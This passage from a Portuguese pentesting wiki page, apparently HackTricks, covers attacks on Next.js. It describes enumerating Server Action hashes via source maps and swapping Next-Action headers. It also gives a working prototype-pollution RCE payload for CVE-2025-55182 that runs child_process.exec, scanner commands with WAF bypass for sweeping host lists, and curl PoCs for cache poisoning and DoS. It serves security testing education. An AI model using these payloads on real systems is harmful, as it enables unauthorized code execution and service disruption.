}

Otimização de Performance

Estratégias:

  • Image Optimization: Use o componente next/image do Next.js para otimização automática de imagens.
  • Code Splitting: Aproveite dynamic imports para dividir o código e reduzir o tempo de carregamento inicial.
  • Caching: Implemente estratégias de caching para respostas de API e recursos estáticos.
  • Lazy Loading: Carregue componentes ou recursos apenas quando necessário.

Exemplo:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Next.js moderno usa “Server Actions” que são executadas no servidor, mas são invocadas a partir do cliente. Em produção essas invocações são opacas: todos os POSTs chegam a um endpoint comum e são distinguidos por um hash específico da build enviado no cabeçalho Next-Action. Exemplo:

POST /
Next-Action: a9f8e2b4c7d1...

Quando productionBrowserSourceMaps está habilitado, os chunks de JS minificado contêm chamadas para createServerReference(...) que leak enough structure (plus associated source maps) para recuperar um mapeamento entre o hash da ação e o nome da função original. Isso permite traduzir hashes observados em Next-Action para alvos concretos como deleteUserAccount() ou exportFinancialData().

Abordagem de extração (regex on minified JS + optional source maps)

Procure nos chunks de JS baixados por createServerReference e extraia o hash e o símbolo da função/fonte. Dois padrões úteis:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Grupo 1: server action hash (40+ hex chars)
  • Grupo 2: symbol or path that can be resolved to the original function via the source map when present

Se o script anuncia um source map (comentário trailer //# sourceMappingURL=<...>.map), obtenha-o e resolva o símbolo/caminho para o nome da função original.

Fluxo de trabalho prático

  • Descoberta passiva durante a navegação: capture requisições com cabeçalhos Next-Action e URLs de chunk de JS.
  • Busque os bundles JS referenciados e os arquivos *.map acompanhantes (quando presentes).
  • Execute a regex acima para construir um dicionário hash↔nome.
  • Utilize o dicionário para direcionar os testes:
    • Triagem guiada por nome (e.g., transferFunds, exportFinancialData).
    • Acompanhe a cobertura entre builds pelo nome da função (hashes rotacionam entre builds).

Exercitando ações ocultas (template-based request)

Pegue um POST válido observado no proxy como template e troque o valor de Next-Action para direcionar outra action descoberta:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and test autorização, validação de entrada e lógica de negócio de ações inacessíveis de outra forma.

Burp automation

  • NextjsServerActionAnalyzer (Burp extension) automatiza o descrito acima no Burp:
  • Varre o histórico do proxy por JS chunks, extrai entradas createServerReference(...) e analisa source maps quando disponíveis.
  • Mantém um dicionário pesquisável hash↔nome-da-função e des-duplica entre builds por nome da função.
  • Pode localizar um POST template válido e abrir uma aba do Repeater pronta para enviar com o hash da action alvo substituído.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

  • Requer productionBrowserSourceMaps habilitado em production para recuperar nomes de bundles/source maps.
  • A divulgação do nome da função não é uma vulnerabilidade por si só; use-a para guiar a descoberta e testar a autorização de cada action.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Deployments do Next.js App Router que expõem Server Actions em react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contêm uma vulnerabilidade crítica de prototype pollution no lado servidor durante a desserialização de chunks Flight. Ao craftar referências $ dentro de um payload Flight, um atacante pode pivotar de prototypes poluídos para execução arbitrária de JavaScript e então para execução de comandos do SO dentro do processo Node.js.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructorObject, and Object.constructorFunction, so future calls to _formData.get() actually execute Function(...).
  3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Mapeamento da exposição de React Server Function

React Server Functions (RSF) são quaisquer funções que incluem a diretiva 'use server';. Toda form action, mutation ou fetch helper vinculada a uma dessas funções torna-se um RSC Flight endpoint que irá desserializar sem problemas payloads fornecidos pelo atacante. Passos úteis de recon derivados de avaliações do React2Shell:

  • Inventário estático: procure pela diretiva para entender quantos RSFs estão sendo automaticamente expostos pelo framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • Padrões do App Router: create-next-app habilita o App Router + app/ directory por padrão, o que transforma silenciosamente cada rota em um endpoint compatível com RSC. Assets do App Router como /_next/static/chunks/app/ ou respostas que transmitem Flight chunks via text/x-component são fortes impressões digitais expostas na Internet.
  • Implantações RSC implicitamente vulneráveis: o próprio advisory do React observa que apps que entregam o runtime RSC podem ser exploráveis mesmo sem explicit RSFs, então trate qualquer build usando react-server-dom-* 19.0.0–19.2.0 como suspeito.
  • Outros frameworks que empacotam RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reutilizam o mesmo serializer e herdam a mesma superfície de ataque remota até incorporarem builds do React com patches.

Cobertura de versões (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnerável em 19.0.0, 19.1.0–19.1.1 e 19.2.0; corrigido em 19.0.1, 19.1.2 e 19.2.1, respectivamente.
  • Next.js stable: Releases do App Router 15.0.0–16.0.6 incorporam a RSC stack vulnerável. Trens de patch 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluem dependências corrigidas, então qualquer build abaixo dessas versões é de alto valor.
  • Next.js canary: 14.3.0-canary.77+ também entrega o runtime com bug e atualmente não possui canary drops corrigidos, tornando essas impressões digitais candidatos fortes para exploração.

Oráculo de detecção remota

Assetnote’s react2shell-scanner envia uma requisição multipart Flight craftada para caminhos candidatos e observa o comportamento no lado servidor:

  • Modo padrão executa um payload RCE determinístico (operação matemática refletida via X-Action-Redirect) provando execução de código.
  • Modo --safe-check malforma propositalmente a mensagem Flight para que servidores corrigidos retornem 200/400, enquanto alvos vulneráveis emitem respostas HTTP/500 contendo a substring E{"digest" dentro do corpo. Esse par (500 + digest) é atualmente o oráculo remoto mais confiável publicado por defensores.
  • As opções embutidas --waf-bypass, --vercel-waf-bypass e --windows ajustam o layout do payload, prefixam junk, ou trocam comandos do OS para que você possa sondar assets reais na Internet.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Outros problemas recentes do App Router (final de 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – payloads Flight malformados podem colocar o resolvedor RSC em um loop infinito (DoS pré-auth) ou forçar a serialização de código compilado de Server Function para outras ações. Builds do App Router ≥13.3 são afetadas até serem corrigidas; 15.0.x–16.0.x precisam das linhas de patch específicas do advisory upstream. Reuse o caminho normal de Server Action mas transmita um corpo text/x-component com referências $ abusivas. Atrás de um CDN a conexão travada é mantida aberta pelos timeouts de cache, tornando o DoS barato.
  • Dica de triagem: Alvos não corrigidos retornam 500 com E{"digest" após payloads Flight malformados; versões corrigidas retornam 400/200. Teste qualquer endpoint que já esteja transmitindo chunks Flight (procure cabeçalhos Next-Action ou respostas text/x-component) e reproduza com um payload modificado.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – a ausência de Vary permitiu que uma resposta Accept: text/x-component fosse cacheada e servida a navegadores esperando HTML. Uma única requisição de priming pode substituir a página por payloads RSC brutos. Fluxo do PoC:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Se a segunda resposta retornar JSON Flight data em vez de HTML, a rota pode ser envenenada. Limpe o cache após os testes.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks